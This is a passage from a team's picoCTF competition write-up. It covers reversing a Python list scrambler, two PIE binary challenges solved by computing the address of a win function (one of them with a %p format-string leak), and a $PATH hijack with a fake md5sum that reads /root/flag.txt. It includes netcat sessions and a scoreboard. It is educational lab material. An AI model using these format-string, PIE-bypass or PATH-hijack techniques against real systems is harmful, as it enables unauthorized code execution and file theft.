'0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63',
[], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70',
'0x69'], ['0x63', [], '0x6f']], '0x7b']], '0x68'], ['0x6f', [['0x70',
'0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'],
['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70',
[['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']],
'0x54']], '0x79']], '0x6e'], ['0x5f', [['0x70', '0x69'], ['0x63',
[], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70',
'0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'],
['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']]
...
```
* The output is extremely long and indiscernable

3. Run the source code with the test `flag.txt` file:
```
$ python quantum_scrambler.py 
[['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']],
'0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'],
['0x74', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66',
'0x6c']], '0x74']], '0x20'], ['0x67', [['0x66', '0x6c'], ['0x61',
[], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66',
'0x6c'], ['0x61', [], '0x67']], '0x78']], '0x6f'], ['0x65', [['0x66',
'0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'],
['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'], ['0x74',
[['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']],
'0x74']], '0x20']], '0x73'], ['0x20', [['0x66', '0x6c'], ['0x61',
[], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66',
'0x6c'], ['0x61',
...
```
* The output is notably different from the server output, as the characters are different and it is much shorter.
* Both outputs appear to be a series of nested lists.

4. Inspecting the source code gives us:
```
1:  import sys
2:  
3:  def exit():
4:   sys.exit(0)
5: 
6:  def scramble(L):
7:    A = L
8:    i = 2
9:    while (i < len(A)):
10:     A[i-2] += A.pop(i-1)
11:     A[i-1].append(A[:i-2])
12:     i += 1
13: 
14:   return L
15: 
16: def get_flag():
17:   flag = open('flag.txt', 'r').read()
18:   flag = flag.strip()
19:   hex_flag = []
20:   for c in flag:
21:     hex_flag.append([str(hex(ord(c)))])
22: 
23:   return hex_flag
24: 
25: def main():
26:   flag = get_flag()
27:   cypher = scramble(flag)
28:   print(cypher)
29: 
30: if __name__ == '__main__':
31:   main()
```
* `quantum_scrambler.py` has 3 main functions: `main()`, `get_flag()`, and `scrambleL(L)`:
> #### `main()`:
> * `main()` starts by calling `get_flag()`, and assigning the return value to `flag`
> * Then, `main()` passes `flag` to `scamble(L)` and then prints the value to stdout.
> #### `get_flag()`:
> * `get_flag()` opens the `flag.txt` file and assigns it's text to variable `flag`.
> * Then, it strips `flag` of it's surrounding whitespace.
> * Next, it encodes each character in `flag` as a hexadecimal value and adds the value to a list `hex_flag`. 
> * Finally, it returns `hex_flag`.
> #### `scramble(L)`:
> `scramble(L)` appears to divide the elements of `flag` into groups of 2, then puts each group into an element of the list `A`, seperated by the values of the two groups that came before the current one. But, let's take a look at this in practice:
> * 4.1 - Run a python interactive session. Copy in the `get_flag()` and `scramble(L)` functions.
```
$ python -i
Python 3.13.2 (main, Feb  4 2025, 14:51:09) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> def get_flag():
...   flag = open('flag.txt', 'r').read()
...   flag = flag.strip()
...   hex_flag = []
...   for c in flag:
...     hex_flag.append([str(hex(ord(c)))])
... 
...   return hex_flag
...   
>>> def scramble(L):
...   A = L
...   i = 2
...   while (i < len(A)):
...     A[i-2] += A.pop(i-1)
...     A[i-1].append(A[:i-2])
...     i += 1
...     
...   return L
...   
>>> get_flag()
[['0x66'], ['0x6c'], ['0x61'], ['0x67'], ['0x20'], ['0x74'], ['0x65'],
['0x78'], ['0x74'], ['0x20'], ['0x67'], ['0x6f'], ['0x65'], ['0x73'],
['0x20'], ['0x68'], ['0x65'], ['0x72'], ['0x65']]
>>> flag = open('flag.txt', 'r').read()
>>> flag
'flag text goes here\n'
>>> [hex(ord(flag[i])) for i in range(0, len(flag))] 
['0x66', '0x6c', '0x61', '0x67', '0x20', '0x74', '0x65', '0x78', '0x74', '0x20', '0x67', '0x6f', '0x65', '0x73', '0x20', '0x68', '0x65', '0x72', '0x65', '0xa']
>>> scramble(get_flag())
[['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66', '0x6c']],
'0x74'], ['0x65', [['0x66', '0x6c'], ['0x61', [], '0x67']], '0x78'],
['0x74', [['0x66', '0x6c'], ['0x61', [], '0x67'], ['0x20', [['0x66',
'0x6c']], '0x74']], '0x20'], ['0x67', [['0x66', '0x6c'], ['0x61',
[], '0x67'], ['0x20', [['0x66', '0x6c']], '0x74'], ['0x65', [['0x66', 
<truncated>
>>> 
```
* Running `[hex(ord(flag[i])) for i in range(0, len(flag))]` shows each character of `flag` as a hex value.
> * Notice that each character in the output of `[hex(ord(flag[i])) for i in range(0, len(flag))]` is nested inside a list inside the output of `get_flag()`.
> * Also notice that inside `index 0` of `scramble(get_flag())` are the first two elements of `[hex(ord(flag[i])) for i in range(0, len(flag))]` and the first and last elements of `index 1` in `scramble(get_flag())` are `index 2` and `index 3` of `[hex(ord(flag[i])) for i in range(0, len(flag))]`
5. Following this line of logic, we can get the flag from the server by copying the output into the interactive session, and grabbing the appropriate elements from the nested list, like so:
```
python -i
Python 3.13.2 (main, Feb  4 2025, 14:51:09) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
l = ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']<truncated>
>>> for e in l:
...   if (type(e[0]) == str):
...     a += chr(int(e[0], 16))
...   if (type(e[-1]) == str):
...      a += chr(int(e[-1], 16))
...      
>>> a
'picoCTF{flag_data_goes_here}}'
```
* There is an extra `}` symbol at the end here, but ignoring that should produce a valid flag value.

---
# **Binary Exploitation**
## PIE TIME

> **Points:** 75
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Easy

### Solution:
![image](https://hackmd.io/_uploads/rJhURhthJx.png)

1. In this challenge, you are given the source code for the app `vuln.c` and a compiled binary `vuln`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text:
```
$ echo "flag text goes here" > flag.txt
$ cat flag.txt
flag text goes here
```
> The binary is an `ELF`, so be sure to do this challenge on a Linux machine

2. Running `file` against `vuln`, you can see the following:
```
$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped  
```
* The binary is 64-bit and dynamically linked
* The symbols from the binary have not been stripped, so they can easily be correlated to their plaintext counterparts

3. Inspecting the source code, you will observe 3 functions: `main()`, `win()`, and `segfault_handler()`. You will also observe that `win()` is never called by any other function. `win()` is also the function that reveals the text in `flag.txt`. Inspecting `main()` further, you will see that:
```
...
int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}
...
```
* When the program is run, it will print the address of the `main()` in memory, then request an address for to jump to. 
* That address is saved as the address of a variable `val`, which is then assigned as the address of variable `foo`.
* `foo()` is called as a function. 

Knowing the challenge is called 'PIE TIME', referring to a `Position-Independent Executable`, and given all the above information, recognize that `win()` can be run if the program is given the correct address to the program, but that address can not be known until the program is running.

4. Running `readelf` against `vuln`, you can see: 
```
$ readelf -hs vuln                                                                                                                                                           
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x11a0
  ...
  59: 0000000000004000     0 NOTYPE  GLOBAL DEFAULT   25 __data_start
  60: 0000000000001289    30 FUNC    GLOBAL DEFAULT   16 segfault_handler
  61: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND signal@@GLIBC_2.2.5
  62: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
  63: 0000000000004008     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
  64: 0000000000002000     4 OBJECT  GLOBAL DEFAULT   18 _IO_stdin_used
  65: 0000000000001410   101 FUNC    GLOBAL DEFAULT   16 __libc_csu_init
  66: 00000000000012a7   150 FUNC    GLOBAL DEFAULT   16 win
  67: 0000000000004020     0 NOTYPE  GLOBAL DEFAULT   26 _end
  68: 00000000000011a0    47 FUNC    GLOBAL DEFAULT   16 _start
  69: 0000000000004010     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
  70: 000000000000133d   204 FUNC    GLOBAL DEFAULT   16 main
  ...
```
* The `type` is `DYN`, confirming that the binary is a `PIE`.
* `win()` is located at virtual address `00000000000012a7`, so you know that the actual address will end with `2a7`.
* `main()` is located at virtual address `000000000000133d`, so you know that the actual address will end with `33d`.

5. Running `vuln`, you get the following:
```
$ ./vuln
Address of main: 0x55666845433d
Enter the address to jump to, ex => 0x12345: 0x5566684542a7
Your input: 5566684542a7
You won!
flag text goes here
```

* Just as it was noted above, the address of `main()` ended with `33d`.
* Since the prefix for the memory locations of `win()` and `main()` are identical, by replacing the suffix for the address of `main()` with the suffix for the address of `win()`, you can accurately refer to the actual address of `win()`.

> Observe that the text from the test `flag.txt` file is in the output of the program

6. Access the challenge server, and apply the same steps outlined in `Step 5`:
```
$ nc rescued-float.picoctf.net 51762
Address of main: 0x5e54ea9fe33d
Enter the address to jump to, ex => 0x12345: 0x5e54ea9fe2a7
Your input: 5e54ea9fe2a7
You won!
picoCTF{flag_data_goes_here}
```

## Hash-only-1

> **Points:** 100
> 
> **Solved By:** Kaciopey Ikounga
>
> **Difficulty:** Medium

![Screenshot_19-3-2025_143348_play.picoctf.org](https://hackmd.io/_uploads/SJxXCF_hyg.jpg)

### Solution:

#### Step 1:
Connected to the server and ran flaghasher.

![Screenshot 2025-03-09 115008](https://hackmd.io/_uploads/HJ9_ooKnJl.png)


#### Step 2:
Checked the Hash Against Online Databases After obtaining the hash, I checked it against popular hash-cracking databases such as CrackStation and other similar services to see if the flag was already present, but no matching results was found.

#### Step 3:

Tested Different Arguments for Potential Leaks
I explored running flaghasher with various arguments and combinations to check if it would leak the flag or reveal helpful information. But, got no results.

#### Step 4:
Ran strings to extract readable text from the binary. Identified system and other system call-related functions, indicating the binary was executing system commands, likely relying on an external binary. Additionally, the absence of typical hash computation functions further supported this idea. This suggested that the binary was likely depending on an external binary, opening the possibility of exploiting $PATH hijacking to manipulate the program's behavior.

![Screenshot 2025-03-12 114655](https://hackmd.io/_uploads/ByUUFTF2yl.png)


#### Step 5:

created a fake md5sum binary to read and print the contents of /root/flag.txt, which likely contained the flag. After granting execute permissions to the script, I modified the $PATH variable to include the current directory at the beginning. This ensured that when flaghasher attempted to run md5sum, it executed my fake binary instead of the system’s version, successfully revealing the flag.

![Screenshot 2025-03-12 114724](https://hackmd.io/_uploads/ryP51aY3Jl.png)


## PIE TIME 2

> **Points:** 200
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Medium

### Solution:
![image](https://hackmd.io/_uploads/BJfipTK3yx.png)

1. In this challenge, you are given the source code for the app] `vuln.c` and a compiled binary `vuln`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text:
```
$ echo "flag text goes here" > flag.txt
$ cat flag.txt
flag text goes here
```
> The binary is an `ELF`, so be sure to do this challenge on a Linux machine

2. Running `file` against `vuln`, you can see the following:
```
$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped  
```
* The binary is 64-bit and dynamically linked
* The symbols from the binary have not been stripped, so they can easily be correlated to their plaintext counterparts

3. Inspecting the source code, you will observe 4 functions: `segfault_handler()`, `call_functions()`, `win()`, and `main()`. You will also observe that win() is never called by any other function. win() is also the function that reveals the text in flag.txt. Inspecting main() further, you will see that:
```
int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}
```
* It's primary function is to `call_functions()`

> 3.1 - Analyzing `call_function()`, you can see that it:
```
// vuln.c
...
11:void call_functions() {
12:  char buffer[64];
13:  printf("Enter your name:");
14:  fgets(buffer, 64, stdin);
15:  printf(buffer);
16:
17:  unsigned long val;
18:  printf(" enter the address to jump to, ex => 0x12345: ");
19:  scanf("%lx", &val);
20:
21:  void (*foo)(void) = (void (*)())val;
22:  foo();
23:}
...
 ```
 > * Gets a 64-byte string from stdin, then uses `printf()` to print that value directly to stdout.
 > * Requests an address for the next instruction to execute. (`val`)
 > * Executes the function (`foo()`)

Knowing the challenge is called 'PIE TIME 2', referring to a `Position-Independent Executable`, and given all the above information, recognize that `win()` can be run if the program is given the correct address to the program, but that address can not be known until the program is running. Also note that there is a format string vulnerability. The program takes user input from stdin and directly passes it to `printf()`. 

4. In order to locate the address of win during execution, launch `vuln` within `gdb`:
```
$ gdb -q vuln                 
Reading symbols from vuln...
(No debugging symbols found in vuln)
(gdb)
```
> 4.1 - Set breakpoints at `call_functions` and ``, then run the program:
```
$ gdb -q vuln 
...
(gdb) b *call_functions
Breakpoint 1 at 0x12c7
(gdb) b *win
Breakpoint 2 at 0x136a
(gdb) r
Starting program: /jadenandrews/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x00005555555552c7 in call_functions ()
=> 0x00005555555552c7 <call_functions+0>:       f3 0f 1e fa             endbr64
(gdb)

```
> 4.2 - Using the command `info breakpoints`, find the address where `win` is located:
```
$ gdb -q vuln 
...
(gdb) i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00005555555552c7 <call_functions>
        breakpoint already hit 1 time
2       breakpoint     keep y   0x000055555555536a <win>

```
> * `call_functions` and `win` have the same memory prefix `0x555555555`
> * `call_functions` has a suffix of `2c7`
> * `win` has a suffix of `36a`
>
> 4-3 - Run gdb and use a format string to search for pointers on the stack:
```
$ gdb -q vuln 
...
(gdb) c
Continuing.
Enter your name: %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x5555555592a1 0xfbad2288 0x7fffffffdad0 (nil) 0x4 0x7ffff7f97ff0 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 0x7fffffffdb30 0xeac2822f9b144100 0x7fffffffdb30 0x555555555441 0x1 0x7ffff7ddbd68 
Breakpoint 3, 0x0000555555555328 in call_functions ()
=> 0x0000555555555328 <call_functions+97>:      e8 13 fe ff ff          call   0x555555555140 <printf@plt>
(gdb)
```
> * There are no pointers we can recognize, but the value at position `19` has the same address prefix as `call_functions` and `win`. Referring to the prefix of this value can help us correctly identify where `win` is in memory when the program is executed.

5. Run the program and look for the pointer at position `19`:
```
$ ./vuln          
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x56474af292a1 0xfbad2288 0xb50d6d5f 0x56474af292d9 0x4 0x7f710349aff0 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7ffc8922000a 0x7ffc8922c2f0 0x8b25ed4352f9c600 0x7ffc8922c2f0 0x564734eee441
 enter the address to jump to, ex => 0x12345: 0x564734eee36a
You won!
flag text goes here
```

* The value at position `19` had a prefix of `0x564734eee`.
* Adding `36a` (the suffix for the memory address of `win`) to the prefix gives `0x564734eee36a`, which correctly called the `win` function and displayed the text from the test `flag.txt` file.

6. Access the challenge server, and same steps outlined in `Step 5`:
```
$ nc rescued-float.picoctf.net 55382                                                                           
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x570b3de222a1 (nil) 0x570b3de222d9 0x7ffd9617bba0 0x7c 0x7ffd96196228 0x72b89da2d6a0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7ffd9617000a 0x570b1e3da1c0 0x1b3de5121766e000 0x7ffd9617bc00 0x570b1e3da441
 enter the address to jump to, ex => 0x12345: 0x570b1e3da36a
You won!
picoCTF{flag_data_goes_here}
```

# Score Breakdown


| Member                   | Total Points |
| ------------------------ | ------------:|
| Jaden Andrews            |        1,300 |
| Elijah Flythe            |          500 |
| Kaciopey Ikounga Moulolo |          400 |
| Delvan Paulino           |          110 |
